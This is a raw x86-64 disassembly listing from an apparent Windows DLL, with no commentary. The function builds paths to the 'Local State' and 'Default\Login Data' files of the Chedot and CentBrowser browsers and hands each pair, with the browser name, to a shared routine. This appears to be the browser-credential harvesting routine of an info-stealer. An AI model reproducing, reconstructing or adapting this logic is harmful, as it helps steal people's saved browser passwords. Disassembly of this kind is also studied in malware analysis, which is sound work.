lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090b70
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x180090be9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180090be0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180090bdb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180091180
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090c26
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090c26
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090c21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091180
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090c61
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090c5c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091180
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x1d]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x1d
lea rdx, str.ChedotUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x24]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x24
lea rdx, str.ChedotUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.Chedot
mov r8d, 6
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090d70
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x180090de9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180090de0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180090ddb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180091186
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090e26
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090e26
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090e21
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091186
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090e61
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090e5c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091186
call fcn.1800c1180
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x22]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x22
lea rdx, str.CentBrowserUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x29]
call fcn.1800ba640
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 0x29
lea rdx, str.CentBrowserUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800b8790
movdqa xmm0, xmmword [0x180104d50]
lea rdx, str.CentBrowser
mov r8d, 0xb
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800b8fb0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800b8a30
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008f1b0
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090f70
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800ba920
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x180090fe9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180090fe0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180090fdb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180091144
mov rcx, r8
call fcn.1800c1180
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180091026
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180091026
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091021
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091144
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180091061
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009105c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180091144
call fcn.1800c1180
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x18009109e
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180091099
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009114a
call fcn.1800c1180
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1800910d5
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800910d0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009114a
call fcn.1800c1180
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x18009110b
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x180091106
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009114a
mov rcx, r8
call fcn.1800c1180
lea r11, [rsp + 0x240]
mov qword [rsi + 0x10], r14
mov rbx, qword [r11 + 0x10]
mov rax, rdi
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov byte [rsi], r14b
mov r14, qword [r11 + 0x28]
mov qword [rsi + 0x18], 0xf
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3